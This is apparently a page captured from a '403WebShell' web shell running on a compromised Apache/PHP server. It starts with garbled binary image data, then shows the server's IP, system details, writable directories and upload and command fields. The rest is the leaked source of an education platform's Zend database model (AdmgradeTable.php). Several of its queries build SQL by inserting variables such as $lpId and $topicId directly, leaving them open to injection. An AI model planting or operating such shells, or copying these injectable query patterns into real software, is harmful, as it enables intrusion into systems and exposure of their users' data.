DW�0�ꊩ���G�#��Q�nL3��c���������/��x ��1�1[y�x�პCW��C�c�UĨ80�m�e�4.{�m��u���I=��f�����0QRls9���f���������9���~f�����Ǩ��a�"@�8���ȁ�Q����#c�ic������G��$���G���r/$W�(��W���V�"��m�7�[m�A�m����bo��D� j����۳� l���^�k�h׽����� ��#� iXn�v��eT�k�a�^Y�4�BN��ĕ��0 !01@Q"2AaPq3BR������?���@4�Q�����T3,���㺠�W�[=JK�Ϟ���2�r^7��vc�:�9 �E�ߴ�w�S#d���Ix��u��:��Hp��9E!�� V 2;73|F��9Y���*ʬ�F��D����u&���y؟��^EA��A��(ɩ���^��GV:ݜDy�`��Jr29ܾ�㝉��[���E;Fzx��YG��U�e�Y�C���� ����v-tx����I�sם�Ę�q��Eb�+P\ :>�i�C'�;�����k|z�رn�y]�#ǿb��Q��������w�����(�r|ӹs��[�D��2v-%��@;�8<a���[\o[ϧw��I!��*0�krs)�[�J9^��ʜ��p1)� "��/_>��o��<1����A�E�y^�C��`�x1'ܣn�p��s`l���fQ��):�l����b>�Me�jH^?�kl3(�z:���1ŠK&?Q�~�{�ٺ�h�y���/�[��V�|6��}�KbX����mn[-��7�5q�94�������dm���c^���h� X��5��<�eޘ>G���-�}�دB�ޟ� ��|�rt�M��V+�]�c?�-#ڛ��^ǂ}���Lkr���O��u�>�-D�ry� D?:ޞ�U��ǜ�7�V��?瓮�"�#���r��չģVR;�n���/_� ؉v�ݶe5d�b9��/O��009�G���5n�W����JpA�*�r9�>�1��.[t���s�F���nQ� V 77R�]�ɫ8����_0<՜�IF�u(v��4��F�k�3��E)��N:��yڮe��P�`�1}�$WS��J�SQ�N�j�ٺ��޵�#l���ј(�5=��5�lǏmoW�v-�1����v,W�mn��߀$x�<����v�j(����c]��@#��1������Ǔ���o'��u+����;G�#�޸��v-lη��/(`i⣍Pm^���ԯ̾9Z��F��������n��1��� ��]�[��)�'������:�֪�W��FC����� �B9،!?���]��V��A�Վ�M��b�w��G F>_DȬ0¤�#�QR�[V��kz���m�w�"��9ZG�7'[��=�Q����j8R?�zf�\a�=��O�U����*oB�A�|G���2�54 �p��.w7� �� ��&������ξxGHp� B%��$g�����t�Џ򤵍z���HN�u�Я�-�'4��0��;_��3 !01"@AQa2Pq#3BR������?��ʩca��en��^��8���<�u#��m*08r��y�N"�<�Ѳ0��@\�p��� �����Kv�D��J8�Fҽ� �f�Y��-m�ybX�NP����}�!*8t(�OqѢ��Q�wW�K��ZD��Δ^e��!� ��B�K��p~�����e*l}z#9ң�k���q#�Ft�o��S�R����-�w�!�S���Ӥß|M�l޶V��!eˈ�8Y���c�ЮM2��tk���� ������J�fS����Ö*i/2�����n]�k�\���|4yX�8��U�P.���Ы[���l��@"�t�<������5�lF���vU�����W��W��;�b�cД^6[#7@vU�xgZv��F�6��Q,K�v��� �+Ъ��n��Ǣ��Ft���8��0��c�@�!�Zq s�v�t�;#](B��-�nῃ~���3g������5�J�%���O������n�kB�ĺ�.r��+���#�N$?�q�/�s�6��p��a����a��J/��M�8��6�ܰ"�*������ɗud"\w���aT(����[��F��U՛����RT�b���n�*��6���O��SJ�.�ij<�v�MT��R\c��5l�sZB>F��<7�;EA��{��E���Ö��1U/�#��d1�a�n.1ě����0�ʾR�h��|�R��Ao�3�m3 ��%�� ���28Q� ��y��φ���H�To�7�lW>����#i`�q���c����a��� �m,B�-j����݋�'mR1Ήt�>��V��p���s�0IbI�C.���1R�ea�����]H�6����������4B>��o��](��$B���m�����a�!=��?�B� K�Ǿ+�Ծ"�n���K��*��+��[T#�{E�J�S����Q�����s�5�:�U�\wĐ�f�3����܆&�)����I���Ԇw��E T�lrTf6Q|R�h:��[K�� �z��c֧�G�C��%\��_�a�84��HcO�bi��ؖV��7H �)*ģK~Xhչ0��4?�0��� �E<���}3���#���u�?�� ��|g�S�6ꊤ�|�I#Hڛ� �ա��w�X��9��7���Ŀ%�SL��y6č��|�F�a 8���b��$�sק�h���b9RAu7�˨p�Č�_\*w��묦��F ����4D~�f����|(�"m���NK��i�S�>�$d7SlA��/�²����SL��|6N�}���S�˯���g��]6��; �#�.��<���q'Q�1|KQ$�����񛩶"�$r�b:���N8�w@��8$�� �AjfG|~�9F ���Y��ʺ��Bwؒ������M:I岎�G��`s�YV5����6��A �b:�W���G�q%l�����F��H���7�������Fsv7��k�� 403WebShell
403Webshell
Server IP : 54.89.25.11  /  Your IP : 216.73.216.255
Web Server : Apache/2.4.7 (Ubuntu)
System : Linux ip-172-31-88-18 3.13.0-74-generic #118-Ubuntu SMP Thu Dec 17 22:52:10 UTC 2015 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.24
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/kalemon/module-old/Secure/src/Secure/Model/Admgrade/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/kalemon/module-old/Secure/src/Secure/Model/Admgrade/AdmgradeTable.php
<?php

namespace Secure\Model\Admgrade;

use Zend\Db\TableGateway\TableGateway;
use Zend\Db\Sql\Expression;
use Zend\Db\Adapter\Adapter;
use Zend\Paginator\Adapter\DbSelect;
use Zend\Db\ResultSet\ResultSet;
use Zend\Db\Sql\Predicate;
use Checkondispatch\Custom\AbstractModelClass;
use Zend\Session\Container;

#Zend\Db\Sql\Predicate\Expression
#use Zend\Paginator\Paginator;

class AdmgradeTable extends AbstractModelClass {

    protected $tableGateway;
    protected $adapter;
    protected $table;

    /* Constructor: To define every table in table gateway and 
      use them as required to run sql queries */

    public function __construct($db) {
        $this->adapter = $db;
        $this->container = new Container('auth');
    }

    //initialize table object for each table
    public function initTableObject($tableName) {
        $tableGatewayObj = new TableGateway($tableName, $this->adapter);
        return $tableGatewayObj;
    }

    public function checkTebianLp($tebian_ref_id) {
        if ($tebian_ref_id > 0) {
            $this->table = $this->initTableObject('t_b2c_cm_lessonplan_master');
            $select = $this->table->getSql()->select();
            $select->columns(array('LESSONPLAN_ID'));
            // $select->where(array('t_b2c_cm_lessonplan_master.TEBIAN_REF_ID' => $tebian_ref_id));
            $resultSet = $this->table->selectWith($select);
            $ret = $resultSet->toArray();
            if (!empty($ret[0]['LESSONPLAN_ID'])) {
                return $ret[0]['LESSONPLAN_ID'];
            }
        }
        return false;
    }

    public function checkContentAdded($postData) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        $select = $this->table->getSql()->select();
        $select->columns(array('CONT_ID'));
        //$select->where(array('t_b2c_cm_cnf_content.TEBIAN_REF_ID' => $postData['TEBIAN_REF_ID']));
        $select->where(array('t_b2c_cm_cnf_content.LESSONPLAN_ID' => $postData['LESSONPLAN_ID']));
        $resultSet = $this->table->selectWith($select);
        $ret = $resultSet->toArray();
        if (!empty($ret[0]['CONT_ID'])) {
            return $ret[0]['CONT_ID'];
        }
        return false;
    }

    public function summativeTest($subjectId) {
        $this->table = $this->initTableObject('t_b2c_master_test');
        $select = $this->table->getSql()->select();
        $select->where(array('SUBJECT_ID' => $subjectId));
        $select->where(array('QUIZ_TYPE' => 'ST'));
        $select->where(array('PUBLISH' => 'Y'));
        $resultSet = $this->table->selectWith($select);
        $ret = $resultSet->toArray();
        return $ret;
    }

    //get all placement levelId by gradeId
    public function getTestCorrectnessNumberByQuizId($attemptId) {
        $this->table = $this->initTableObject('t_b2c_usr_quiz_attempt');
        $select = $this->table->getSql()->select();
        $select->columns(array('QUIZ_ID'));
        $select->join('t_b2c_master_test', 't_b2c_master_test.QUIZ_ID = t_b2c_usr_quiz_attempt.QUIZ_ID', array('CORRECTNESS'));
        $select->where(array('t_b2c_usr_quiz_attempt.QUIZ_ATTEMPT_ID' => $attemptId));
        $resultSet = $this->table->selectWith($select);
        $ret = $resultSet->toArray();
        if (!empty($ret[0]['CORRECTNESS'])) {
            return $ret[0]['CORRECTNESS'];
        }
        return false;
    }

    public function getlpTestDetail($subjectId) {
        $this->table = $this->initTableObject('t_b2c_master_test');
        $select = $this->table->getSql()->select();
        $select->columns(array('*'));
        $select->join('t_b2c_mgr_test_lessonplan', 't_b2c_mgr_test_lessonplan.QUIZ_ID = t_b2c_master_test.QUIZ_ID', array('LESSONPLAN_ID'));
        $select->join('t_b2c_cm_lessonplan_master', 't_b2c_cm_lessonplan_master.LESSONPLAN_ID = t_b2c_mgr_test_lessonplan.LESSONPLAN_ID', array('LP_NAME'));
        $select->where(array('t_b2c_master_test.SUBJECT_ID' => $subjectId));
        $select->where(array('t_b2c_master_test.QUIZ_TYPE' => 'ST'));
        $resultSet = $this->table->selectWith($select);
        return $ret = $resultSet->toArray();
    }

    public function getftTestDetail($subjectId) {
        $this->table = $this->initTableObject('t_b2c_master_test');
        $select = $this->table->getSql()->select();
        $select->where(array('SUBJECT_ID' => $subjectId));
        $select->where(array('QUIZ_TYPE' => 'FT'));
        $resultSet = $this->table->selectWith($select);
        return $resultSet->toArray();
    }

    public function getStandardsByCountryId($country_id) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_standard');
        $select = $this->table->getSql()->select();
        $select->where(array('COUNTRY_ID' => $country_id));
        $resultSet = $this->table->selectWith($select);
        return $resultSet->toArray();
    }

    public function getGradesByStandardId($standardId) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_grade');
        $select = $this->table->getSql()->select();
        $select->where(array('STANDARD_ID' => $standardId));
        $resultSet = $this->table->selectWith($select);
        return $resultSet->toArray();
    }

    public function getSubjectsByGradeId($grade_id) {

        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        $select->where(array('GRADE_ID' => $grade_id));
        $resultSet = $this->table->selectWith($select);
        return $resultSet->toArray();
    }

    // check whether user is assigned that subject
    function checkAlreadyAssignSubject($SUBJECT_ID, $USER_OID) {

        $this->table = $this->initTableObject('t_b2c_usr_enrollment');
        $select = $this->table->getSql()->select();
        $select->where(array('SUBJECT_ID' => $SUBJECT_ID, 'USER_OID' => $USER_OID));
        $resultSet = $this->table->selectWith($select);
        return $resultSet->count();
    }

    function saveStudentEnrollData($data, $commObj) {
        if (count($data['subject'])) {
            $this->table = $this->initTableObject('t_b2c_usr_enrollment');
            foreach ($data['subject'] as $key => $val) {
                if ($val > 0) {
                    $newarra = array();
                    $newarra['SUBJECT_ID'] = $val;
                    $newarra['USER_OID'] = $data['USER_OID'];
                    $newarra['ENROLLMENT_NUM'] = $commObj->generateRandomNumber(8, 'alphanumeric');
                    $newarra['CREATED_BY'] = $data['CREATED_BY'];
                    $newarra['CREATED_ON'] = date("Y-m-d H:i:s");
                    $check = $this->checkAlreadyAssignSubject($newarra['SUBJECT_ID'], $newarra['USER_OID']);
                    if (!$check) {
                        $dataIns = $this->table->insert($newarra);
                    }
                }
            }
        }
        return 1;
    }

    public function getLPidByAttemptId($attempt_id) {
        $this->table = $this->initTableObject('t_b2c_usr_quiz_attempt');
        $select = $this->table->getSql()->select();
        $select->columns(array('QUIZ_ID'));
        $select->join('t_b2c_master_test', 't_b2c_master_test.QUIZ_ID = t_b2c_usr_quiz_attempt.QUIZ_ID', array('QUIZ_TYPE'));
        $select->join('t_b2c_cm_cnf_content', 't_b2c_cm_cnf_content.CONT_ID = t_b2c_master_test.CONT_ID', array('LESSONPLAN_ID'));
        $select->where(array('t_b2c_usr_quiz_attempt.QUIZ_ATTEMPT_ID' => $attempt_id));
        $resultSet = $this->table->selectWith($select);
        $ret = $resultSet->toArray();
        if (!empty($ret[0]['LESSONPLAN_ID'])) {
            return $ret[0]['LESSONPLAN_ID'];
        }
        return false;
    }

    //get all placement levelId by gradeId
    public function getQuizTypeByAttemptId($attemptId) {
        $this->table = $this->initTableObject('t_b2c_usr_quiz_attempt');
        $select = $this->table->getSql()->select();
        $select->columns(array('QUIZ_ID'));
        $select->join('t_b2c_master_test', 't_b2c_master_test.QUIZ_ID = t_b2c_usr_quiz_attempt.QUIZ_ID', array('QUIZ_TYPE'));
        $select->where(array('t_b2c_usr_quiz_attempt.QUIZ_ATTEMPT_ID' => $attemptId));
        $resultSet = $this->table->selectWith($select);
        $ret = $resultSet->toArray();
        if (!empty($ret[0]['QUIZ_TYPE'])) {
            return $ret[0]['QUIZ_TYPE'];
        }
        return false;
    }

    //get question marks by quiz and question id
    public function getMarkByQuizQsnId($quizId, $qsn_id) {

        $this->table = $this->initTableObject('t_b2c_mgr_test_question');
        $select = $this->table->getSql()->select();
        $select->columns(array('QUS_MARK'));
        $select->where(array('QUZ_ID' => $quizId));
        $select->where(array('QUS_ID' => $qsn_id));
        $resultSet = $this->table->selectWith($select);
        $ret = $resultSet->toArray();

        if (!empty($ret[0]['QUS_MARK'])) {
            return $ret[0]['QUS_MARK'];
        }
        return 0;
    }

    public function updateScoreByAttemptId($attemptId, $score) {
        $this->table = $this->initTableObject('t_b2c_usr_quiz_attempt');
        $updateData['SCORE'] = $score;
        return $this->table->update($updateData, array(
                    'QUIZ_ATTEMPT_ID' => $attemptId
        ));
    }

    public function getScoreByAttemptId($attemptId) {
        $this->table = $this->initTableObject('t_b2c_usr_quiz_attempt');
        $select = $this->table->getSql()->select();
        $select->columns(array('SCORE'));
        $select->where(array('QUIZ_ATTEMPT_ID' => $attemptId));
        $resultSet = $this->table->selectWith($select);
        $ret = $resultSet->toArray();

        if (!empty($ret[0]['SCORE'])) {
            return $ret[0]['SCORE'];
        }
        return 0;
    }

    public function getResultOfPT($testId, $level_id, $studentId) {
        $this->table = $this->initTableObject('t_b2c_usr_quiz_attempt');
        $select = $this->table->getSql()->select();
        $select->columns(array('QUIZ_ATTEMPT_ID'));

        $select->where(array('t_b2c_usr_quiz_attempt.QUIZ_ID' => $testId));
        $select->where(array('t_b2c_usr_quiz_attempt.PLC_LEVEL_ID' => $level_id));
        $select->where(array('t_b2c_usr_quiz_attempt.USER_OID' => $studentId));
        $select->where(array('t_b2c_usr_quiz_attempt.IS_PASS' => 'Y'));

        //$sql = $this->table->getSql();
        //echo $sql->getSqlstringForSqlObject($select); die ;

        $resultSet = $this->table->selectWith($select);
        $ret = $resultSet->toArray();
        return $ret;
    }

    /**
     * @desc used to get attempt count if quiz attempted else 0.
     * @param integer $testId
     * @param integer $level_id
     * @param integer $studentId
     * @return integer (attempt count)
     */
    public function isTestAttempted($testId, $level_id, $studentId = null) {
        $this->table = $this->initTableObject('t_b2c_usr_quiz_attempt');
        $select = $this->table->getSql()->select();
        $select->columns(array('QUIZ_ATTEMPT_ID'));

        $select->where(array('t_b2c_usr_quiz_attempt.QUIZ_ID' => $testId));
        $select->where(array('t_b2c_usr_quiz_attempt.PLC_LEVEL_ID' => $level_id));
        if (!empty($studentId)) {
            $select->where(array('t_b2c_usr_quiz_attempt.USER_OID' => $studentId));
        }
        $select->order('t_b2c_usr_quiz_attempt.QUIZ_ATTEMPT_ID DESC');

        $resultSet = $this->table->selectWith($select);
        $ret = $resultSet->toArray();
        return !empty($ret) ? $ret[0]['QUIZ_ATTEMPT_ID'] : 0;
    }

    function getBlockedGradeForStudent($user_id) {
        $userPlacementGardes = array();
        $bloackGrades = array();
        $grdTable = new \Secure\Model\UserManagement\UserManagementTable($this->adapter);
        $enrollData = $grdTable->getUserEnrollData($user_id);
        foreach ($enrollData as $val) {
            if (!empty($val['IS_PLACEMENT_TEST']) && $val['IS_PLACEMENT_TEST'] == 'Y') {
                $userPlacementGardes[] = $val['GRADE_ID'];
            }
        }
        if (count($userPlacementGardes)) {
            foreach ($userPlacementGardes as $gradeId) {
                $allAvailablePlacementTest = $this->getAllPlacementLevelIds($gradeId);

                $passPlacement = $this->getPassPlacementLevelIds($gradeId, $user_id);

                if (count($allAvailablePlacementTest) > count($passPlacement)) {
                    $bloackGrades[] = $gradeId;
                }
            }
        }
        return $bloackGrades;
    }

    function getBlockedSubjectForStudent($user_id) {
        $grades = $this->getBlockedGradeForStudent($user_id);
        $newArr = array();
        if (count($grades)) {
            $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
            $select = $this->table->getSql()->select();
            $select->columns(array('SUBJECT_ID'));
            $select->where(array('GRADE_ID' => $grades));
            if (!empty($grades)) {
                $select->where(array('GRADE_ID' => $grades));
            }
            $resultSet = $this->table->selectWith($select);
            $ret = $resultSet->toArray();

            if (count($ret)) {
                foreach ($ret as $val) {
                    $newArr[] = $val['SUBJECT_ID'];
                }
            }
        }
        return $newArr;
    }

    /**
     * @desc used of this function for get LiveClass Table's data by courseId
     */
    public function getLiveClassUrlByContId($ut_id, $contId) {
        $table = $this->initTableObject('t_b2c_cm_cnf_content');
        $select = $table->getSql()->select();
        $select->columns(array());
        $select->join('t_b2c_cm_cnf_liveclass', 't_b2c_cm_cnf_liveclass.CONT_ID = t_b2c_cm_cnf_content.CONT_ID', array('PRESENTER_URL', 'RECORDING_URL', 'START_DATE', 'START_TIME', 'DURATION'));
        if ($ut_id == 1)
            $select->join('t_b2c_cm_mgr_joinclass', 't_b2c_cm_mgr_joinclass.VC_ID = t_b2c_cm_cnf_liveclass.WIZIQ_CLASS_ID', array('ATTENDEE_URL'));

        $select->join('t_adm_cnf_timezone', 't_adm_cnf_timezone.TIMEZONE_ID = t_b2c_cm_cnf_liveclass.TIMEZONE_ID', array('TIMEZONE_VALUE'));
        $select->where(['t_b2c_cm_cnf_content.CONT_ID' => $contId]);
        $select->where(['t_b2c_cm_cnf_content.CONTTYPE_ID' => 15]);

        //$sql = $this->table->getSql();
        //echo $sql->getSqlstringForSqlObject($select); die ;

        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->current();

        /* Get todays date and time according to class timezone */
        $defaulTimeZone = isset($data['TIMEZONE_VALUE']) ? $data['TIMEZONE_VALUE'] : 'Asia/Kolkata';
        date_default_timezone_set($defaulTimeZone);
        $current_date = date('Y-m-d H:i:s');
        /* -- */

        /* Calculate video duration */
        $duration = gmdate("H:i:s", ($data['DURATION'] * 60));
        $secs = strtotime($duration) - strtotime("00:00:00");
        $startDateTime = $data['START_DATE'] . " " . $data['START_TIME'];
        $startDateTime = strtotime($startDateTime) + $secs;
        /* -- */

        if (strtotime($current_date) > $startDateTime) {
            return $liveUrl = $data['RECORDING_URL'];
        }

        if ($ut_id == 1) {
            if (!empty($data['ATTENDEE_URL'])) {
                return $data['ATTENDEE_URL'];
            }
        } else {
            if (!empty($data['PRESENTER_URL'])) {
                return $data['PRESENTER_URL'];
            }
        }
        return false;
    }

    public function getDetails($table, $conditions, $columns, $orderBy = NULL, $resultType = false, $length = '', $start = '') {
        if (!empty($table) && !empty($conditions) && !empty($columns)) {
            return $this->fetchData($table, $conditions, $columns, $orderBy, $resultType, $length, $start);
        }
    }

    //get LP name by id
    function getLpNameById($lpId) {
        $this->table = $this->initTableObject('t_b2c_cm_lessonplan_master');
        $select = $this->table->getSql()->select();
        $select->columns(array('LP_NAME'));
        $select->where(array('LESSONPLAN_ID' => $lpId));
        $resultSet = $this->table->selectWith($select);
        return $resultSet->toarray();
    }

    function checkLoExist($LO_ID, $parentCat) {
        //t_b2c_cm_mgr_content_lo
        // $this->table = $this->initTableObject('t_b2c_cm_mgr_lessonplan_lo');
        $this->table = $this->initTableObject('t_b2c_cm_mgr_content_lo');
        $select = $this->table->getSql()->select();
        $select->where(array('TOPIC_ID' => $parentCat, 'ST_LO_ID' => $LO_ID));
        $resultSet = $this->table->selectWith($select);
        $resultSet->toarray();
        $data = $resultSet->count();
        return $data;
    }

    //get Lp Id 
    public function getSubjectIdByContentId($contentId) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        $select = $this->table->getSql()->select();
        $select->join('t_b2c_cm_lessonplan_master', 't_b2c_cm_lessonplan_master.LESSONPLAN_ID = t_b2c_cm_cnf_content.LESSONPLAN_ID', array('LESSONPLAN_ID'));
        $select->join('t_b2c_cm_mgr_subject', 't_b2c_cm_mgr_subject.SUBJECT_ID = t_b2c_cm_lessonplan_master.SUBJECT_ID', array('SUBJECT_ID'));
        $select->where(['CONT_ID' => $contentId]);
        $resultSet = $this->table->selectWith($select);

        $res = $resultSet->toarray();
        if (!empty($res[0]['SUBJECT_ID'])) {
            return $res[0]['SUBJECT_ID'];
        }
        return 0;
    }

    //get User Id 
    public function getSubsUIdsByCourseId($courseId) {
        $table = $this->initTableObject('t_b2c_cm_mgr_subscription');
        $select = $table->getSql()->select();
        $select->columns(array('USER_OID'));
        $select->where(array('COURSE_ID' => $courseId));
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toarray();
        return $res;
    }

    //set as primary
    function setAsPrimary($postData) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        $updateData['BACKING_FILE'] = $postData['primaryPath'];
        $this->table->update($updateData, array(
            'CONT_ID' => $postData['contId']
        ));
        return 1;
    }

    //get all content ID by lp iDS
    function getContentIdByLpIds($lpIds) {
        $lpIdstr = implode(',', $lpIds);
        $query = "SELECT CONT_ID FROM `t_b2c_cm_cnf_content` WHERE `LESSONPLAN_ID` IN ($lpIdstr) AND CONTTYPE_ID = 9";
        $statement = $this->adapter->createStatement($query);
        $statement->prepare();
        $result = $statement->execute(array());
        return $this->returnPrepareResult($result);
    }

    //get quiz  content ID by lp iDS
    function getContIdsByLpId($lpId) {

        $query = "SELECT CONT_ID,CONTTYPE_ID FROM `t_b2c_cm_cnf_content` WHERE `LESSONPLAN_ID`=$lpId";
        $statement = $this->adapter->createStatement($query);
        $statement->prepare();
        $result = $statement->execute(array());
        $res = $this->returnPrepareResult($result);
        $contIds = array();
        foreach ($res as $key => $data) {
            $TOTAL_QUES = '';
            if ($data['CONTTYPE_ID'] == 16) {
                $TestDetails = $this->getCourseTestDetails($data['CONT_ID']);
                $TOTAL_QUES = $TestDetails[0]['TOTAL_QUES'];
                if ($TOTAL_QUES > 0) {
                    $contIds[$key] = $data['CONT_ID'];
                }
            } else {
                $contIds[$key] = $data['CONT_ID'];
            }
        }
        //echo '<pre />'; print_r($contIds); die('macro');
        return $contIds;
    }

    //get All LP Data of Admin
    function getAllLP($userId) {
        $this->table = $this->initTableObject('t_b2c_cm_lessonplan_master');
        $select = $this->table->getSql()->select();
        $select->columns(array('LESSONPLAN_ID', 'CLASS_ID', 'SUBJECT_ID', 'LP_NAME'));
        $select->where(array('CREATED_BY' => $userId));
        $resultSet = $this->table->selectWith($select);
        return $resultSet->toarray();
    }

    //get topics from LP ID
    function getTopicsFromLpId($lpId) {
        $query = "SELECT a.SUBJECT_ID,a.CAT_ID,a.CAT_NAME,b.LESSONPLAN_ID FROM `t_b2c_cm_cnf_syllabus` a 
				  JOIN t_b2c_cm_lessonplan_topic b ON b.TOPIC_ID = a.CAT_ID	
				  WHERE b.`LESSONPLAN_ID`= $lpId";
        $statement = $this->adapter->createStatement($query);
        $statement->prepare();
        $result = $statement->execute(array());
        return $this->returnPrepareResult($result);
    }

    /**
     * @desc used of this function to get Presenter User email by id
     * @param stirng $id
     * 
     * @return int $result->EMAIL_ID
     */
    public function getPresenterEmailByUserId($id) {
        if (!empty($id)) {
            $this->table = $this->initTableObject('t_usr_user');
            $select = $this->table->getSql()->select();
            $select->columns(array('EMAIL_ID'));
            $select->where(['USER_OID' => $id]);
            $select->where(['ORG_ID IS NULL']);

            $result = $this->table->selectWith($select)->current();
            if (!empty($result)) {
                return $result->EMAIL_ID;
            } else {
                return '';
            }
        }
    }

    /**
     * @desc used of this function to get Time zone value 
     * @param int $time_id
     * 
     * @return string $result->TIMEZONE_VALUE
     */
    public function getTimeZoneNameById($time_id) {
        if ($time_id) {
            $this->table = $this->initTableObject('t_adm_cnf_timezone');
            $select = $this->table->getSql()->select();
            $select->columns(array('TIMEZONE_VALUE'));
            $select->where(['TIMEZONE_ID' => $time_id]);
            $result = $this->table->selectWith($select)->current();
            return $result->TIMEZONE_VALUE;
        }
    }

    /**
     * @desc used of this function to get lang cultrl name by lang id
     * @param int $lang_id
     * 
     * @return string $result->USER_OID
     */
    public function getLangCultNameByLangId($lang_id) {
        if ($lang_id) {
            $this->table = $this->initTableObject('t_adm_cnf_language');
            $select = $this->table->getSql()->select();
            $select->columns(array('LANG_CULTURE_NAME'));
            $select->where(['LANG_ID' => $lang_id]);
            $result = $this->table->selectWith($select)->current();
            return $result->LANG_CULTURE_NAME;
        }
    }

    //get Course Id 
    public function getCourseIdByContentId($contentId) {
        $table = $this->initTableObject('t_b2c_cm_cnf_content');
        $select = $table->getSql()->select();
        $select->join('t_b2c_cm_section', 't_b2c_cm_section.SECTION_ID = t_b2c_cm_cnf_content.SECTION_ID', array('COURSE_ID'));
        $select->where(['CONT_ID' => $contentId]);
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toarray();
        if (!empty($res[0]['COURSE_ID'])) {
            return $res[0]['COURSE_ID'];
        }
        return 0;
    }

    //count contents of LessonPlan
    function countContentOfLp($lpId) {
        $query = "SELECT count(CONT_ID) COUNT_CONTENT FROM `t_b2c_cm_cnf_content` WHERE `LESSONPLAN_ID`= $lpId AND CONTTYPE_ID not in (9,11,14)";
        $statement = $this->adapter->createStatement($query);
        $statement->prepare();
        $result = $statement->execute(array());
        return $this->returnPrepareResult($result);
    }

    public function getLoByTopicId($topicId) {
        $query = "SELECT * FROM `t_b2c_cm_cnf_lo` WHERE `TOPIC_ID` in (" . $topicId . ")";
        $statement = $this->adapter->createStatement($query);
        $statement->prepare();
        $result = $statement->execute(array());
        return $this->returnPrepareResult($result);

//        if (!empty($topicId)) {
//            $conditions = array('TOPIC_ID' => array($topicId));
//            $columns = array('*');
//            return $this->fetchData('t_b2c_cm_cnf_lo', $conditions, $columns, NULL, true);
//        }
    }

    //contentids by lpID
    function getContentIdsByLpId($lpId) {
        //$query = "SELECT * FROM `t_b2c_cm_cnf_content` WHERE `LESSONPLAN_ID`= $lpId and IS_PUBLISH='Y' AND CONTTYPE_ID not in (9,11,14) ORDER BY t_b2c_cm_cnf_content.CONT_ID ASC";
        $query = "SELECT * FROM `t_b2c_cm_cnf_content` WHERE `LESSONPLAN_ID`= $lpId and IS_PUBLISH='Y' AND CONTTYPE_ID not in (9,11,14) ORDER BY t_b2c_cm_cnf_content.CONT_ORDER ASC";
        $statement = $this->adapter->createStatement($query);
        $statement->prepare();
        $result = $statement->execute(array());
        return $this->returnPrepareResult($result);
    }

    //edit image
    function editImageContent($imgData, $contImgId) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_content_image');
        $this->table->update($imgData, array(
            'CONT_IMG_ID' => $contImgId
        ));
        return 1;
    }

    function updateContentOrder($cont_ids, $pos) {

        $ids = explode(",", $cont_ids);
        $idsCount = count($ids);
        $left = 0;
        if (!$pos) {
            $left = $idsCount - 1;
        }

        //print_r($ids);die;
        if (count($ids)) {
            $i = 1;
            $k = 0;
            foreach ($ids as $val) {
                if ($val && $k != $left) {

                    $sql = "update t_b2c_cm_cnf_content set  CONT_ORDER = ?   where CONT_ID = ? ";
                    $statement = $this->adapter->createStatement($sql);
                    $statement->prepare();
                    $result = $statement->execute(array($i, $val));


                    $i++;
                }
                $k++;
            }
        }
        return 1;
    }

    //content imges
    function getContentImages($contId) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_content_image');
        $select = $this->table->getSql()->select();
        $select->where(array('CONT_ID' => $contId));
        $resultSet = $this->table->selectWith($select);
        return $resultSet->toarray();
    }

    function saveSubscriptionData($postData) {
        $this->table = $this->initTableObject('t_b2c_usr_subscription');
        $dataIns = $this->table->insert($postData);
        return $this->table->lastInsertValue;
    }

    function saveMultipleImages($postData) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_content_image');
        $dataIns = $this->table->insert($postData);
        return $dataIns;
    }

    //save Los 
    function saveContLoCat($postData) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_content_lo');
        $dataIns = $this->table->insert($postData);
        return $dataIns;
    }

    //save Los 
    function savePaymentsDetail($postData) {
        $this->table = $this->initTableObject('t_b2c_adm_cnf_payment');
        $dataIns = $this->table->insert($postData);
        return $dataIns;
    }

    function saveContCat($postData) {
        $this->table = $this->initTableObject('t_b2c_cm_cont_cat');
        $dataIns = $this->table->insert($postData);
        return $dataIns;
    }

    //get content type text by Id
    function getContentTypeById($contId) {
        $this->table = $this->initTableObject('t_cm_cnf_conttype');
        $select = $this->table->getSql()->select();
        $select->where(array('CONTTYPE_ID' => $contId));
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toarray();
        return (!empty($res[0]['CONT_TYPE'])) ? $res[0]['CONT_TYPE'] : '';
    }

    //get user enrolment
    function getSubjectUserEnrollData($arr = null) {
        if (empty($arr["user_id"]) || empty($arr["subject_id"])) {
            return false;
        }
        $this->table = $this->initTableObject('t_b2c_usr_subscription');
        $select = $this->table->getSql()->select();
        $select->where(array('USER_OID' => $arr["user_id"]));
        $select->where(array('SUBJECT_ID' => $arr["subject_id"]));
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toarray();
        return (!empty($res[0])) ? $res[0] : false;
    }

    //get user enrolment
    function getGradeUserEnrollData($arr = null) {
        if (empty($arr["user_id"]) || empty($arr["grade_id"])) {
            return false;
        }
        $this->table = $this->initTableObject('t_b2c_usr_subscription');
        $select = $this->table->getSql()->select();
        $select->where(array('USER_OID' => $arr["user_id"]));
        $select->where(array('GRADE_ID' => $arr["grade_id"]));
